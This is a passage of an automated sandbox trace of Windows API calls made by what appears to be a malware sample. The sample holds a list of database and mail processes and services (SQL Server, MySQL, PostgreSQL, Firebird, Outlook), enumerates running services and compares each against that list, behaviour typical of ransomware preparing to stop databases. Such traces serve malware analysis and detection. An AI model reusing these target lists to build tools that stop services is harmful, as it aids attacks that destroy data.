lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0317.792] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x527fe8 | out: hHeap=0x490000) returned 1 [0317.792] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e5958, Size=0x82) returned 0x4e14e0 [0317.792] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e59b8, Size=0x100) returned 0x520fd0 [0317.792] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e14e0, Size=0x104) returned 0x521d38 [0317.793] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x520fd0, Size=0x200) returned 0x521e48 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e59a8 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521e48 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed6a0 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0178 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed640 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0398 | out: hHeap=0x490000) returned 1 [0317.793] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed568 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x521d38 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed430 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e5ab0 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed6b8 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e5b40 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed508 | out: hHeap=0x490000) returned 1 [0317.794] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed478, Size=0x20) returned 0x4e96f8 [0317.794] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e96f8, Size=0x40) returned 0x4e8430 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e5948 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed418 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e1450 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed580 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e0068 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed4a8 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e58f8 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ed670 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a30e0 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e4dd0 | out: hHeap=0x490000) returned 1 [0317.794] lstrlenW (lpString="%systemdrive%") returned 13 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9798 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e00f0 | out: hHeap=0x490000) returned 1 [0317.794] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e5a88 | out: hHeap=0x490000) returned 1 [0317.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x500650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0317.795] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4a74d0*=0x2c8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 88 os_tid = 0xc60 Thread: id = 90 os_tid = 0xb84 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e3798 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3798, Size=0x20) returned 0x4c80a0 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c80a0, Size=0x40) returned 0x4a26e8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a26e8, Size=0x80) returned 0x4e0200 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e0200, Size=0x100) returned 0x5213f0 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e36d8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e36d8, Size=0x20) returned 0x4c82d0 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4c82d0, Size=0x40) returned 0x4a29b8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4a29b8, Size=0x80) returned 0x4e06c8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e06c8, Size=0x100) returned 0x520aa8 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e37b0 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc728 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e37c8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc728, Size=0x8) returned 0x4cc738 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a36f0 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc738, Size=0x10) returned 0x4e3900 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a3590 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4c81e0 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e3900, Size=0x20) returned 0x4c82f8 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1c) returned 0x4c8230 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x16) returned 0x4a3710 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4c82d0 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4e3960 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cc658 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40) returned 0x4a2ad8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc658, Size=0x8) returned 0x4cc738 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x3c) returned 0x4a2bf8 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cc738, Size=0x10) returned 0x4e36d8 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a3750 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a3770 [0317.738] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e36d8, Size=0x20) returned 0x4c7f60 [0317.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a2de0 [0317.738] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0317.738] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x5213f0 | out: hHeap=0x490000) returned 1 [0317.738] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0317.738] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x520aa8 | out: hHeap=0x490000) returned 1 [0317.739] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4c80f0 [0317.739] EnumServicesStatusExW (in: hSCManager=0x4c80f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0 [0317.741] GetLastError () returned 0xea [0317.741] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1de6) returned 0x4e3e98 [0317.741] EnumServicesStatusExW (in: hSCManager=0x4c80f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e3e98, cbBufSize=0x1de6, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e3e98, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1 [0317.756] CloseServiceHandle (hSCObject=0x4c80f0) returned 1 [0317.761] lstrlenW (lpString="Appinfo") returned 7 [0317.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0317.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0317.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0317.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0317.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0317.761] lstrlenW (lpString="AppXSvc") returned 7 [0317.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0317.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0317.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0317.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0317.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0317.761] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0317.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0317.761] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0317.761] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0317.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0317.761] lstrlenW (lpString="Audiosrv") returned 8 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0317.762] lstrlenW (lpString="BFE") returned 3 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0317.762] lstrlenW (lpString="BITS") returned 4 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0317.762] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0317.762] lstrlenW (lpString="CDPSvc") returned 6 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0317.762] lstrlenW (lpString="ClickToRunSvc") returned 13 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0317.762] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0317.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0317.762] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0317.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0317.762] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0317.763] lstrlenW (lpString="CryptSvc") returned 8 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0317.763] lstrlenW (lpString="DcomLaunch") returned 10 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0317.763] lstrlenW (lpString="DeviceAssociationService") returned 24 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0317.763] lstrlenW (lpString="Dhcp") returned 4 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0317.763] lstrlenW (lpString="Dnscache") returned 8 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0317.763] lstrlenW (lpString="DoSvc") returned 5 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0317.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0317.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0317.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0317.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0317.763] lstrlenW (lpString="DPS") returned 3 [0317.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0317.764] lstrlenW (lpString="DusmSvc") returned 7 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0317.764] lstrlenW (lpString="EventLog") returned 8 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0317.764] lstrlenW (lpString="EventSystem") returned 11 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0317.764] lstrlenW (lpString="FontCache") returned 9 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0317.764] lstrlenW (lpString="gpsvc") returned 5 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0317.764] lstrlenW (lpString="iphlpsvc") returned 8 [0317.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0317.764] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0317.764] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0317.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0317.765] lstrlenW (lpString="KeyIso") returned 6 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0317.765] lstrlenW (lpString="LanmanServer") returned 12 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0317.765] lstrlenW (lpString="LanmanWorkstation") returned 17 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0317.765] lstrlenW (lpString="lfsvc") returned 5 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0317.765] lstrlenW (lpString="lmhosts") returned 7 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0317.765] lstrlenW (lpString="LSM") returned 3 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0317.765] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0317.765] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0317.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0317.765] lstrlenW (lpString="MapsBroker") returned 10 [0317.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0317.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0317.766] lstrlenW (lpString="MpsSvc") returned 6 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0317.766] lstrlenW (lpString="NcbService") returned 10 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0317.766] lstrlenW (lpString="netprofm") returned 8 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0317.766] lstrlenW (lpString="NgcSvc") returned 6 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0317.766] lstrlenW (lpString="NlaSvc") returned 6 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0317.766] lstrlenW (lpString="nsi") returned 3 [0317.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0317.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0317.766] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0317.766] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0317.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0317.766] lstrlenW (lpString="PcaSvc") returned 6 [0317.767] lstrcmpiW 